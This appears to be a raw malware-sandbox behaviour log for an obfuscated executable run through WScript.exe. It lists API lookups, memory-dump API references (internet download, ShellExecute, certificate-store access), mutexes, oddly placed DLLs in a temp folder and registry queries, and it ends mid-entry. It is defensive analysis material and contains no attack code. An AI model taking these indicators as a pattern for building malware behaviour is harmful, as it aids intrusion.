"?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFontFromLogfontW (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateFont (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneFont (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteFont (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFamily (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFontStyle (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFontSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFontUnit (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFontHeight (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFontHeightGivenDPI (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLogFontA (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetLogFontW (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipNewInstalledFontCollection (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipNewPrivateFontCollection (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeletePrivateFontCollection (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFontCollectionFamilyCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetFontCollectionFamilyList (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPrivateAddFontFile (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipPrivateAddMemoryFont (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawString (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMeasureString (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMeasureCharacterRanges (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawDriverString (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipMeasureDriverString (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateStringFormat (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipStringFormatGetGenericDefault (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipStringFormatGetGenericTypographic (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteStringFormat (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCloneStringFormat (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetStringFormatFlags (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatFlags (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetStringFormatAlign (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatAlign (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetStringFormatLineAlign (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatLineAlign (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetStringFormatTrimming (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatTrimming (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetStringFormatHotkeyPrefix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatHotkeyPrefix (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetStringFormatTabStops (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatTabStops (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatTabStopCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetStringFormatDigitSubstitution (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatDigitSubstitution (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipGetStringFormatMeasurableCharacterRangeCount (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipSetStringFormatMeasurableCharacterRanges (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipCreateCachedBitmap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDeleteCachedBitmap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipDrawCachedBitmap (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GdipEmfToWmfBits (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeBackgroundExtent (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00004180) "?Lbd34FNl_2_@%9O3.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00004180)2f:T14de,Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenUrlW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "HttpQueryInfoW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "GetSaveFileNameW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "GetOpenFileNameW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "Shell_NotifyIconW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "SHGetSpecialFolderPathW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "CopyImage"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "SetMenuItemInfoW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "GetMenuItemInfoW"; Source: "00000000-00004180.00000000.118674.00F86000.00000004.mdmp, 00000000-00004180.00000003.126808.00F86000.00000004.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformation"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "ProcessIdToSessionId"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "GetTimeZoneInformationForYear"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTimes"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CryptDecodeObject"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "PFXImportCertStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertGetNameStringW"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertNameToStrW"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertFreeCertificateContext"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertCloseStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertOpenStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertFindChainInStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp") Found reference to API (Indicator: "CertFindCertificateInStore"; Source: "00000000-00004180.00000001.120597.00F90000.00000004.mdmp")30:T61e,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1952:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1952:304:WilStaging_02" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1952:120:WilError_01" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1952:120:WilError_01" Process WScript.exe created mutex with name "\BaseNamedObjects\SyncRootManager" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process WScript.exe created mutex with name "SM0:1952:304:WilStaging_02" Process WScript.exe created mutex with name "Local\SM0:1952:304:WilStaging_02" Process WScript.exe created mutex with name "SM0:1952:120:WilError_01" Process WScript.exe created mutex with name "Local\SM0:1952:120:WilError_01" Process WScript.exe created mutex with name "Local\ZonesCacheCounterMutex" Process WScript.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process ?Lbd34FNl_2_@%9O3.exe created mutex with name "\Sessions\1\BaseNamedObjects\4/17/2026" Process ?Lbd34FNl_2_@%9O3.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4180:168:WilStaging_02" Process ?Lbd34FNl_2_@%9O3.exe created mutex with name "4/17/2026" Process ?Lbd34FNl_2_@%9O3.exe created mutex with name "Local\SM0:4180:168:WilStaging_02"31:T448,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004180.00000000.118674.0A1D0000.00000004.mdmp "stry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00004180.00000000.118674.0A1D0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00004180.00000000.118674.0C320000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004180.00000001.120597.0A1D0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00004180.00000001.120597.0C320000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004180.00000002.122515.0A1D0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00004180.00000002.122515.0C320000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004180.00000003.126808.0A1D0000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00004180.00000003.126808.0C320000.00000004.mdmp32:T153b,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fffe9900000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fffe9900000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fffe9900000 "WScript.exe" loaded module "KERNEL32" at base 7fffebec0000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fffc8e60000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fffe7e40000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7fffecbc0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7fffebec0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7fffc6720000 "WScript.exe" loaded module "AMSI.DLL" at base 7fffd4650000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fffe0c20000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7fffd4630000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\5LLWRH6B.DLL" at base 7fffc66d0000 "WScript.exe" loaded module "WLDP.DLL" at base 7fffe8860000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fffed2d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7fffe9f00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fffe8ca0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7fffd54d0000 "WScript.exe" loaded module "OLE32.DLL" at base 7fffec9d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7fffe9b70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7fffd17c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7fffc6b10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7fffc8d70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7fffc6690000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 7fffbbd00000 "WScript.exe" loaded module "%COMMONPROGRAMFILES%\SYSTEM\ADO\MSADO15.DLL" at base 7fffc6550000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 25cd4550000 "WScript.exe" loaded module "NTDLL.DLL" at base 7fffed4b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7fffe5d40000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7fffea230000 "WScript.exe" loaded module "SHELL32.DLL" at base 25cd4550000 "WScript.exe" loaded module "COMCTL32.DLL" at base 7fffd7ff0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ZIPFLDR.DLL" at base 7fffc64e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7fffd3fb0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 7fffcbd30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINSHFHC.DLL" at base 7fffd4620000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7fffddb20000 "WScript.exe" loaded module "USER32.DLL" at base 7fffebf70000 "WScript.exe" loaded module "MSISO.DLL" at base 7fffdc8f0000 "WScript.exe" loaded module "SSPICLI.DLL" at base 7fffe9700000 "WScript.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7fffe9900000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7fffbbc20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7fffebec0000 "WScript.exe" loaded module "USERENV.DLL" at base 7fffe9730000 "WScript.exe" loaded module "VERSION.DLL" at base 7fffe0c20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7fffe7c00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 7fffe2280000 "?Lbd34FNl_2_@%9O3.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74ec0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74ec0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74ec0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "KERNEL32" at base 74d40000 "?Lbd34FNl_2_@%9O3.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 720a0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "KERNEL32.DLL" at base 74d40000 "?Lbd34FNl_2_@%9O3.exe" loaded module "MSCTF.DLL" at base 751d0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "IMM32.DLL" at base 74e10000 "?Lbd34FNl_2_@%9O3.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 734e0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "NTDLL.DLL" at base 77010000 "?Lbd34FNl_2_@%9O3.exe" loaded module "RPCRT4.DLL" at base 73be0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "UXTHEME.DLL" at base 734e0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 73770000 "?Lbd34FNl_2_@%9O3.exe" loaded module "GDIPLUS.DLL" at base 73770000 "?Lbd34FNl_2_@%9O3.exe" loaded module "OLEAUT32.DLL" at base 76d60000 "?Lbd34FNl_2_@%9O3.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 73ca0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 73ca0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 73f90000 "?Lbd34FNl_2_@%9O3.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 751d0000 "?Lbd34FNl_2_@%9O3.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7592000033:T8d6,"WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{00000346-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00000346-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{00000346-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000346-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0002E005-0000-0000-C000-000000000046}\PROGID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\PROGID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\WOW6432NODE\CLSID\{0002E005-0000-0000-C000-000000000046}"; Key: ""; Value: "")34:T1287,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0002E005-0000-0000-C000-000000000046}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: 